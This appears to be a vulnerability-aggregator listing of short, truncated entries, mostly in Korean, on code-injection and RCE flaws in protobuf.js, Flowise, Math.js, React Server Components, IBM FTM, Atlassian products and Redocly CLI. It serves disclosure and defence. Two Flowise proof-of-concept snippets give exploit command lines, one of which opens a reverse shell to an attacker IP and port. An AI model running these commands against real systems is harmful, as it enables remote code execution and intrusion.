CVE-2026-41242

CVE-2026-41242 — protobuf.js Code Injection to RCE CVSS 9.4 Critical | Code Injection CWE-94 개요 protobuf.jsnpm: protobufjs 버전 ≤ 7.5.4 및 ≤ 8.0.0은 protobuf 스키마의 type 이름을 통한 임의 코드 실행 취약점이 있습니다. @protobufjs/codegen 모듈은 type 이름을 JavaScript 문자열에 직접 연결한 다음 Function 생성자eval과 동등를 통해 실행합니다. 스키마를 제어하는 공격자는...

CVE-2025-59528

CVE-2025-59528: Flowise CustomMCP 원격 코드 실행 PoC CVE-2025-59528 을 대상으로 한 Flowise 버전 예제 go run main.go http://target.com h3D9jD7Xzi0V2KSrld9ff4P3rm6cuNXg1uA-wFsUYc "touch /tmp/pwned"...

CVE-2025-59528-POC

CVE-2025-59528 - FlowiseAI CustomMCP 원격 코드 실행 CVSS 10.0 치명적 | 블라인드 RCE | FlowiseAI Flowise = 2.2.7-patch.1 및 = 2.2.7-patch.1, ;return 1;"...

CVE-2025-59528

CVE-2025-59528 – Flowise CustomMCP 노드 RCE PoC 개요 이 저장소는 Flowise v3.0.5에서 CVE-2025-59528 을 입증하는 개념 증명PoC을 포함합니다. 이 취약점은 customMCP 노드에 존재하며, 사용자가 제공한 mcpServerConfig 입력이 Function 생성자를 사용한 안전하지 않은 평가를 통해 JavaScript 코드 실행으로 이어지는 방식으로 처리됩니다. 영향을 받는 버전 영향받는 버전| 수정된 버전 ---|--- 3.0.5| 3.0.6 영향 인증된 사용자는...

CVE-2025-59528.yaml

CVE-2025-59528.yaml...

CVE-2025-58434-59528

CVE-2025-58434 + CVE-2025-59528 Flowise -c "id" 기존 키로 리버스 셸: python3 flowisechain.py -t http://target --api-key --lhost 10.0.0.1 --lport 4444 옵션 Flag| 설명 ---|--- -t, --target| 대상 URL -e, --email| 대상 계정 이메일 ATO 체인 트리거 --api-key| API 키 직접 제공 ATO 건너뛰기 -c, --command| 실행할 명령어 --lhost| 리버스 셸용 공격자 IP...

CVE-2026-40897

CVE-2026-40897 Math.js 표현식 파서 원격 코드 실행 ★ CVE-2026-40897 Math.js 원격 코드 실행 PoC ★ https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898 개요 CVE-2026-40897 은 Math.js 표현식 파서에서 샌드박스 우회로 인한 원격 코드 실행 취약점입니다. isSafeProperty 필터는 사용자 표현식의 속성 접근만 확인하고 내부 코드 경로는 확인하지 않습니다. 공격자는 toJSON...

React2Shell-CVE-2025-55182-The-Deserialization-Bug-That-Broke-the-Web

React2Shell CVE-2025-55182: 웹을 무너뜨린 역직렬화 버그 ⚡ React2Shell, CVE-2025-55182, RCE 취약점: React Server Components의 안전하지 않은 역직렬화 결함으로 인해 기본 React/Next.js 설정에서 인증 없이 원격 코드 실행이 가능하게 된 심각한 취약점 분석. ⏩ 요약 React2Shell CVE-2025-55182는 React 19.x 및 Next.js와 같은 프레임워크의 React Server ComponentsRSC에 영향을 미치는 심각한 원격 코드...

EUVD-2026-84941

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162 IBM Financial Transaction Manager (FTM) is Impacted by Multiple Vulnerabilities

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

CVE-2026-18162

The IBM Financial Transaction Manager (FTM) for RedHat OpenShift is impacted by a vulnerability that could allow a remote attacker to execute arbitrary code . The root cause is the improper neutralization of user-controlled input within the new Function constructor . The vulnerability has a CRITI...

CVE-2026-18162: Improper Control of Generation of Code

IBM Financial Transaction Manager FTM for RedHat OpenShift could allow a remote attacker to execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor...

PT-2026-97099

Name of the Vulnerable Software and Affected Versions IBM Financial Transaction Manager FTM for RedHat OpenShift affected versions not specified Description Remote attackers can execute arbitrary code due to improper neutralization of user-controlled input within the new Function constructor. Thi...

Atlassian Confluence 8.9.0 < 9.2.24 / 9.3.1 < 10.2.17 (CONFSERVER-104362)

The version of Atlassian Confluence Server running on the remote host is affected by a vulnerability as referenced in the CONFSERVER-104362 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validation for the variable option in .template but di...

Atlassian Jira Service Management Data Center and Server 5.15.2 < 10.3.24 / 10.4.x < 11.3.7 (JSDSERVER-16596)

The version of Atlassian Jira Service Management Data Center and Server Jira Service Desk running on the remote host is affected by a vulnerability as referenced in the JSDSERVER-16596 advisory. - Impact: The fix for CVE-2021-23337 https://github.com/advisories/GHSA-35jh-r3h4-6jhm added validatio...

CVE-2026-93985

OpenPanel js-runtime through commit bad75bdd is affected by a sandbox escape in its JavaScript webhook template validator . The validator fails to block computed member access to constructor chains, allowing attackers with project write access to craft webhook templates using computed property no...

EUVD-2026-81012

Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates $faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor,...

CVE-2026-63325: Improper Control of Generation of Code

Redocly CLI makes OpenAPI validation, linting, and documentation workflows easier. Prior to version 2.33.0 of @redocly/respect-core and @redocly/cli, the respect command dynamically evaluates $faker runtime expressions in Arazzo descriptions. A crafted expression can traverse constructor,...